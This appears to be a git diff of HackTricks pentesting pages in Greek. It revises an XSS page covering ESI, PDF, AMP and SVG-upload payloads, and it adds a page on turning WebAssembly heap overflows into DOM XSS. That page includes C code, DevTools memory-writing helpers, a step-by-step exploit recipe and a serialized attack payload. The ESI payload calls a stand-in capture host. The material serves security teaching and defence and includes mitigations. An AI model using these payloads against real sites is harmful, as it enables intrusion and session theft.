||||
|
||||
### XSS σε Markdown
|
||||
|
||||
Μπορεί να εισάγει κώδικα Markdown που θα αποδοθεί; Ίσως να καταφέρετε XSS! Δείτε:
|
||||
Μπορείς να εισάγεις κώδικα Markdown που θα αποδοθεί; Ίσως να μπορέσεις να πετύχεις XSS! Δες:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1596,41 +1611,41 @@ xss-in-markdown.md
|
||||
|
||||
### XSS σε SSRF
|
||||
|
||||
Έχετε XSS σε **ιστότοπο που χρησιμοποιεί caching**; Δοκιμάστε **να το αναβαθμίσετε σε SSRF** μέσω Edge Side Include Injection με αυτό το payload:
|
||||
Έχεις XSS σε ένα **site που χρησιμοποιεί caching**; Δοκίμασε να **το αναβαθμίσεις σε SSRF** μέσω Edge Side Include Injection με αυτό το payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Use it to bypass cookie restrictions, XSS filters and much more!\
|
||||
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
Χρησιμοποίησέ το για να παρακάμψεις τους περιορισμούς των cookie, τα φίλτρα XSS και πολλά ακόμα!\
|
||||
Περισσότερες πληροφορίες για αυτήν την τεχνική εδώ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS σε δυναμικά δημιουργημένο PDF
|
||||
|
||||
Αν μια σελίδα δημιουργεί ένα PDF χρησιμοποιώντας input που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **ξεγελάσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\
|
||||
Άρα, εάν το **PDF creator bot βρει** κάποιο είδος **HTML tags**, θα τα **ερμηνεύσει**, και μπορείτε να **εκμεταλλευτείτε** αυτή τη συμπεριφορά για να προκαλέσετε **Server XSS**.
|
||||
Αν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο ελεγχόμενη από τον χρήστη, μπορείς να προσπαθήσεις να **ξεγελάσεις το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS code**.\
|
||||
Άρα, αν το **PDF creator bot εντοπίσει** κάποιο είδος **HTML** **tags**, θα τα **ερμηνεύσει**, και μπορείς να **κακοχρησιμοποιήσεις** αυτή τη συμπεριφορά για να προκαλέσεις ένα **Server XSS**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
Αν δεν μπορείτε να εισάγετε HTML tags, ίσως αξίζει να δοκιμάσετε να **inject PDF data**:
|
||||
Αν δεν μπορείς να εισάγεις HTML tags, ίσως αξίζει να προσπαθήσεις να **inject PDF data**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pdf-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS σε Amp4Email
|
||||
### XSS in Amp4Email
|
||||
|
||||
Το AMP, με στόχο την επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να διασφαλίσει λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από components για διάφορες λειτουργίες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
Το AMP, με στόχο την επιτάχυνση της απόδοσης ιστοσελίδων σε φορητές συσκευές, ενσωματώνει HTML tags που συμπληρώνονται από JavaScript για να εξασφαλίσει λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από components για διάφορες λειτουργίες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Η μορφή [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) επεκτείνει συγκεκριμένα AMP components σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα email τους.
|
||||
Το [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format επεκτείνει συγκεκριμένα AMP components στα emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με περιεχόμενο απευθείας μέσα στα emails.
|
||||
|
||||
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Παράδειγμα [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS uploading files (svg)
|
||||
### XSS στο ανέβασμα αρχείων (svg)
|
||||
|
||||
Ανεβάστε ως εικόνα ένα αρχείο όπως το παρακάτω (από [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
Ανέβασε ως εικόνα ένα αρχείο σαν το παρακάτω (από [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
@ -1695,7 +1710,7 @@ id="foo"/>
|
||||
other-js-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
## XSS πόροι
|
||||
## Πόροι XSS
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
||||
- [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
||||
|
@ -0,0 +1,133 @@
|
||||
# WebAssembly linear memory corruption to DOM XSS (template overwrite)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Αυτή η τεχνική δείχνει πώς ένα bug αλλοίωσης μνήμης μέσα σε ένα WebAssembly (WASM) module compiled with Emscripten μπορεί να αξιοποιηθεί σε αξιόπιστο DOM XSS ακόμη κι όταν η είσοδος έχει υποστεί sanitization. Το pivot είναι να καταστραφούν εγγράψιμες σταθερές στη WASM linear memory (π.χ. HTML format templates) αντί να επιτεθείς στην ήδη sanitized αρχική συμβολοσειρά.
|
||||
|
||||
Κεντρική ιδέα: Στο μοντέλο του WebAssembly, ο κώδικας ζει σε μη-εγγράψιμες executable σελίδες, αλλά τα δεδομένα του module (heap/stack/globals/"constants") ζουν σε μία ενιαία flat linear memory (σελίδες των 64KB) που είναι εγγράψιμη από το module. Αν buggy C/C++ κώδικας γράψει out-of-bounds, μπορείς να αντικαταστήσεις γειτονικά αντικείμενα και ακόμα και constant strings ενσωματωμένες στη linear memory. Όταν μια τέτοια σταθερά χρησιμοποιείται αργότερα για να χτίσει HTML για εισαγωγή μέσω ενός DOM sink, μπορείς να μετατρέψεις sanitized είσοδο σε εκτελέσιμο JavaScript.
|
||||
|
||||
Threat model and preconditions
|
||||
- Web app χρησιμοποιεί Emscripten glue (Module.cwrap) για να καλέσει ένα WASM module.
|
||||
- Η κατάσταση της εφαρμογής βρίσκεται στη WASM linear memory (π.χ. C structs με pointers/lengths σε user buffers).
|
||||
- Ο input sanitizer κωδικοποιεί metacharacters πριν την αποθήκευση, αλλά η μετέπειτα απόδοση χτίζει HTML χρησιμοποιώντας ένα format string αποθηκευμένο στη WASM linear memory.
|
||||
- Υπάρχει μια linear-memory corruption primitive (π.χ. heap overflow, UAF, ή unchecked memcpy).
|
||||
|
||||
Minimal vulnerable data model (example)
|
||||
```c
|
||||
typedef struct msg {
|
||||
char *msg_data; // pointer to message bytes
|
||||
size_t msg_data_len; // length after sanitization
|
||||
int msg_time; // timestamp
|
||||
int msg_status; // flags
|
||||
} msg;
|
||||
|
||||
typedef struct stuff {
|
||||
msg *mess; // dynamic array of msg
|
||||
size_t size; // used
|
||||
size_t capacity; // allocated
|
||||
} stuff; // global chat state in linear memory
|
||||
```
|
||||
Ευάλωτο μοτίβο λογικής
|
||||
- addMsg(): δεσμεύει νέο buffer με μέγεθος ίσο με την καθαρισμένη είσοδο και προσθέτει ένα msg στο s.mess, διπλασιάζοντας τη χωρητικότητα με realloc όταν χρειάζεται.
|
||||
- editMsg(): επανακαθαρίζει και εκτελεί memcpy για να γράψει τα νέα bytes στο υπάρχον buffer χωρίς να διασφαλίζει ότι το νέο μήκος ≤ η παλιά allocation → intra‑linear‑memory heap overflow.
|
||||
- populateMsgHTML(): μορφοποιεί το καθαρισμένο κείμενο με ένα ενσωματωμένο stub όπως "<article><p>%.*s</p></article>" που βρίσκεται στο linear memory. Το επιστρεφόμενο HTML καταλήγει σε DOM sink (π.χ., innerHTML).
|
||||
|
||||
Allocator grooming with realloc()
|
||||
```c
|
||||
int add_msg_to_stuff(stuff *s, msg new_msg) {
|
||||
if (s->size >= s->capacity) {
|
||||
s->capacity *= 2;
|
||||
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
|
||||
if (s->mess == NULL) exit(1);
|
||||
}
|
||||
s->mess[s->size++] = new_msg;
|
||||
return s->size - 1;
|
||||
}
|
||||
```
|
||||
- Στείλτε αρκετά μηνύματα ώστε να ξεπεράσουν την αρχική χωρητικότητα. Μετά την αύξηση, το realloc() συχνά τοποθετεί το s->mess αμέσως μετά το τελευταίο buffer χρήστη στη linear memory.
|
||||
- Υπερχείλιστε το τελευταίο μήνυμα μέσω editMsg() για να καταστρέψετε πεδία μέσα στο s->mess (π.χ. overwrite δείκτες msg_data) → αυθαίρετη επανεγγραφή δεικτών μέσα στη linear memory για δεδομένα που θα αποδοθούν αργότερα.
|
||||
|
||||
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
|
||||
- Η sanitization προστατεύει την είσοδο, όχι τα sinks. Εντοπίστε το format stub που χρησιμοποιείται από populateMsgHTML(), π.χ.:
|
||||
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
|
||||
- Εντοπίστε το stub ντετερμινιστικά σαρώνοντας τη linear memory· είναι ένα plain byte string μέσα στο Module.HEAPU8.
|
||||
- Αφού αντικαταστήσετε το stub, το sanitized message content γίνεται ο JavaScript handler για onerror, οπότε προσθέτοντας ένα νέο μήνυμα με κείμενο όπως alert(1337) παράγει <img src=1 onerror=alert(1337)> και εκτελείται άμεσα στο DOM.
|
||||
|
||||
Chrome DevTools workflow (Emscripten glue)
|
||||
- Βάλτε breakpoint στην πρώτη κλήση Module.cwrap στο JS glue και μπείτε στο wasm call site για να καταγράψετε τα pointer arguments (αριθμητικές μετατοπίσεις μέσα στη linear memory).
|
||||
- Χρησιμοποιήστε typed views όπως Module.HEAPU8 για να διαβάσετε/γράψετε τη WASM memory από το console.
|
||||
- Βοηθητικά αποσπάσματα:
|
||||
```javascript
|
||||
function writeBytes(ptr, byteArray){
|
||||
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
|
||||
for(let i=0;i<byteArray.length;i++){
|
||||
const byte = byteArray[i];
|
||||
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
|
||||
HEAPU8[ptr+i]=byte;
|
||||
}
|
||||
}
|
||||
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
|
||||
function readBytesAsChars(ptr,len){
|
||||
const bytes=HEAPU8.subarray(ptr,ptr+len);
|
||||
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
|
||||
}
|
||||
function searchWasmMemory(str){
|
||||
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
|
||||
for(let i=0;i<mem.length-pat.length;i++){
|
||||
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
|
||||
if(ok) console.log(`Found "${str}" at memory address:`, i);
|
||||
}
|
||||
console.log(`"${str}" not found in memory`);
|
||||
return -1;
|
||||
}
|
||||
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
|
||||
```
|
||||
Συνταγή εκμετάλλευσης end-to-end
|
||||
1) Groom: πρόσθεσε N μικρά μηνύματα για να ενεργοποιήσεις την realloc(). Βεβαιώσου ότι s->mess είναι δίπλα σε ένα user buffer.
|
||||
2) Overflow: κάλεσε editMsg() στο τελευταίο μήνυμα με μεγαλύτερο payload για να υπεργράψεις μια εγγραφή στο s->mess, ρυθμίζοντας το msg_data του message 0 να δείχνει στο (stub_addr + 1). Το +1 παραλείπει το αρχικό '<' ώστε η ευθυγράμμιση των tags να παραμείνει ακέραια κατά την επόμενη επεξεργασία.
|
||||
3) Template rewrite: επεξεργάσου το message 0 ώστε τα bytes του να υπεργράψουν το template με: "img src=1 onerror=%.*s ".
|
||||
4) Trigger XSS: πρόσθεσε νέο μήνυμα του οποίου το sanitized περιεχόμενο είναι JavaScript, π.χ. alert(1337). Η απόδοση παράγει <img src=1 onerror=alert(1337)> και εκτελείται.
|
||||
|
||||
Παράδειγμα λίστας ενεργειών για σειριοποίηση και τοποθέτηση στο ?s= (Base64-encode με btoa πριν τη χρήση)
|
||||
```json
|
||||
[
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
|
||||
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
|
||||
{"action":"add","content":"alert(1337)","time":1756840476392}
|
||||
]
|
||||
```
|
||||
Γιατί αυτό το bypass λειτουργεί
|
||||
- WASM αποτρέπει την εκτέλεση κώδικα από linear memory, αλλά constant data μέσα στη linear memory είναι εγγράψιμα εάν η λογική του προγράμματος έχει σφάλματα.
|
||||
- Ο sanitizer προστατεύει μόνο το source string· με τη διαφθορά του sink (το HTML template), το sanitized input γίνεται η τιμή του JS handler και εκτελείται όταν εισαχθεί στο DOM.
|
||||
- realloc()-driven adjacency σε συνδυασμό με unchecked memcpy στις edit flows επιτρέπει pointer corruption ώστε να ανακατευθύνει writes σε attacker-chosen addresses μέσα στη linear memory.
|
||||
|
||||
Γενίκευση και άλλες επιφάνειες επίθεσης
|
||||
- Οποιοδήποτε in-memory HTML template, JSON skeleton ή URL pattern ενσωματωμένο σε linear memory μπορεί να στοχευτεί για να αλλάξει το πώς το sanitized data ερμηνεύεται downstream.
|
||||
- Άλλα κοινά WASM pitfalls: out-of-bounds writes/reads στη linear memory, UAF σε heap objects, function-table misuse με unchecked indirect call indices, και JS↔WASM glue mismatches.
|
||||
|
||||
Κατευθυντήριες οδηγίες άμυνας
|
||||
- Στις edit paths, επαληθεύστε new length ≤ capacity· αλλάξτε το μέγεθος των buffers πριν το copy (realloc σε new_len) ή χρησιμοποιήστε size-bounded APIs (snprintf/strlcpy) και παρακολουθείστε το capacity.
|
||||
- Κρατήστε immutable templates εκτός writable linear memory ή κάντε integrity-check πριν από τη χρήση.
|
||||
- Θεωρήστε τα JS↔WASM boundaries μη αξιόπιστα: validate pointer ranges/lengths, fuzz τις exported interfaces, και περιορίστε το memory growth.
|
||||
- Sanitize at the sink: αποφύγετε το building HTML σε WASM· προτιμήστε safe DOM APIs αντί για innerHTML-style templating.
|
||||
- Αποφύγετε να εμπιστεύεστε URL-embedded state για privileged flows.
|
||||
|
||||
## References
|
||||
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
|
||||
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
|
||||
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
|
||||
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
|
||||
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user